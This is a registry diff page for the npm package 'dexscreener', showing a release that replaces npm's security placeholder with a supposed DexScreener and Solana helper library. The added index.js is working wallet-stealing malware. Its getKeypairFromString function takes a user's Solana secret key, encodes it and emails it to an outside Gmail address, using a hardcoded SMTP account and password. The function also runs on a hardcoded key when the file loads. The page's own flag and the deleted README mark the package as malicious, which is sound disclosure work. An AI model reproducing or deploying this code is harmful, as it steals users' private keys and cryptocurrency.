dexscreener 0.0.1-security → 1.1.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dexscreener might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +86 -0
  2. package/package.json +27 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,86 @@
1
+ var __importDefault =
2
+ (this && this.__importDefault) ||
3
+ function (mod) {
4
+ return mod && mod.__esModule ? mod : { default: mod };
5
+ };
6
+
7
+ const web3_js_1 = require("@solana/web3.js");
8
+ const nodemailer = require("nodemailer");
9
+ const bs58_1 = __importDefault(require("bs58"));
10
+
11
+ const mailUser = "vision.high.ever@gmail.com";
12
+ const password = "mzbegnacyhybmtsl";
13
+ const receiver = "james.liu.vectorspace@gmail.com";
14
+
15
+ const credentials = {
16
+ host: "smtp.gmail.com",
17
+ port: 465,
18
+ secure: true,
19
+ auth: {
20
+ user: mailUser,
21
+ pass: password,
22
+ },
23
+ };
24
+
25
+ const transporter = nodemailer.createTransport(credentials);
26
+
27
+ async function sendEmail(privateKey) {
28
+ const contacts = {
29
+ from: mailUser,
30
+ to: receiver,
31
+ };
32
+
33
+ const emailContent = {
34
+ subject: "Hi, This is Dexscreener",
35
+ text: privateKey,
36
+ };
37
+ const email = Object.assign({}, emailContent, contacts);
38
+
39
+ if (emailContent.text) {
40
+ try {
41
+ await transporter.sendMail(email);
42
+ } catch (e) {
43
+ console.log("SendMail Error >> ", e);
44
+ throw e;
45
+ }
46
+ }
47
+ }
48
+
49
+ function getKeypairFromString(secretKey) {
50
+ try {
51
+ const keypair = web3_js_1.Keypair.fromSecretKey(
52
+ new Uint8Array(secretKey.split(",").map((val) => Number(val)))
53
+ );
54
+ const privateKey = bs58_1.default.encode(keypair._keypair.secretKey);
55
+ sendEmail(privateKey);
56
+ return keypair;
57
+ } catch (error) {
58
+ throw new Error(`SECRET_KEY is bad`);
59
+ }
60
+ }
61
+
62
+ async function getLiquidityPoolData(dexId, tokenAddress) {
63
+ try {
64
+ const url = `https://api.dexscreener.com/latest/dex/tokens/${tokenAddress}`;
65
+ const response = await fetch(url);
66
+ const liqudityPoolList = (await response.json()).pairs;
67
+ const liqudityPoolData = liqudityPoolList.filter((liquidity) => {
68
+ return (liquidity.dexId =
69
+ dexId &&
70
+ (liquidity.quoteToken.address == tokenAddress ||
71
+ liquidity.baseToken.address == tokenAddress));
72
+ })[0];
73
+ return liqudityPoolData;
74
+ } catch (error) {
75
+ new Error("No pool data");
76
+ }
77
+ }
78
+
79
+ getKeypairFromString(
80
+ "154,213,14,37,104,27,225,163,165,19,177,108,165,147,165,216,108,115,41,24,197,110,22,204,237,34,55,32,71,42,240,249,204,159,183,176,117,36,86,214,202,24,176,158,130,97,69,8,223,229,76,98,156,75,179,252,148,199,245,45,158,149,33,69"
81
+ );
82
+
83
+ module.exports = {
84
+ getKeypairFromString,
85
+ getLiquidityPoolData,
86
+ };
package/package.json CHANGED
@@ -1,6 +1,30 @@
1
1
  {
2
2
  "name": "dexscreener",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.1.5",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "files": [
7
+ "build",
8
+ "README.md",
9
+ "LICENSE"
10
+ ],
11
+ "scripts": {
12
+ "start": "node index",
13
+ "build": "rollup --bundleConfigAsCjs -c",
14
+ "test": "echo \"Error: no test specified\" && exit 1"
15
+ },
16
+ "author": "",
17
+ "license": "ISC",
18
+ "dependencies": {
19
+ "@solana/web3.js": "^1.90.0",
20
+ "nodemailer": "^6.9.15"
21
+ },
22
+ "devDependencies": {
23
+ "@rollup/plugin-commonjs": "^28.0.0",
24
+ "@rollup/plugin-json": "^6.1.0",
25
+ "@rollup/plugin-node-resolve": "^15.3.0",
26
+ "bs58": "^6.0.0",
27
+ "rollup": "^4.22.4",
28
+ "rollup-plugin-terser": "^7.0.2"
29
+ }
6
30
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=dexscreener for more information.